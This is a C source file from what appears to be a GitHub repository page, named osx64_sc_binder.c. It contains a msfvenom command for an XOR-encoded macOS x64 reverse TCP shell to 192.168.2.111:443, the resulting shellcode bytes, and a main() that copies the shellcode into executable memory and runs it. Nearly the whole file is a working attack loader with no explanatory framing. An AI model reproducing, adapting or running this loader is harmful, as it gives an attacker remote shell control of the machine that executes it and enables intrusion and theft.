-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathosx64_sc_binder.c
26 lines (22 loc) · 1.02 KB
/
osx64_sc_binder.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//msfvenom -p osx/x64/shell_reverse_tcp EXITFUNC=process LHOST=192.168.2.111 LPORT=443 -a x64 --platform OSX -e x64/xor -f c -o test.c
#include <string.h>
#include <sys/mman.h>
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xf2\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x35\x08\x80\x81\x61\x54\x40\x15\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x8d\x69\x80\x81\x63\x3e"
"\x42\x4a\x5f\x09\xde\xc9\x50\x86\x4f\x10\x7c\x81\x44\xc9\xe8"
"\x93\xf8\x77\x35\x08\x82\xc9\x50\xa2\x16\x5d\x8b\x08\x82\x80"
"\xda\x94\xe8\x17\x5a\x5e\xc8\x08\x87\x3e\x50\x4f\x3a\x0d\xcc"
"\x08\x86\xec\x1a\x15\x35\x0a\xc8\xb0\x97\x5b\x45\xad\x6f\x08"
"\x80\x83\x29\xab\x86\x1a\x30\x40\xb1\x41\xd9\x6f\x40\x15\x37"
"\xe0\x88\x81\x61\x54\x6f\x77\x5c\x66\xaf\xf2\x09\x54\x08\x9e"
"\x09\x2c\xc8\xb0\xb3\x06\x17\x5d\xbc\xee\x8f\x84\x61\x54\x40"
"\x15";
int main(int argc, char **argv)
{
void *ptr = mmap(0, 0x1000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(ptr,buf,sizeof buf);
void (*fp)() = (void (*)())ptr;
fp();
}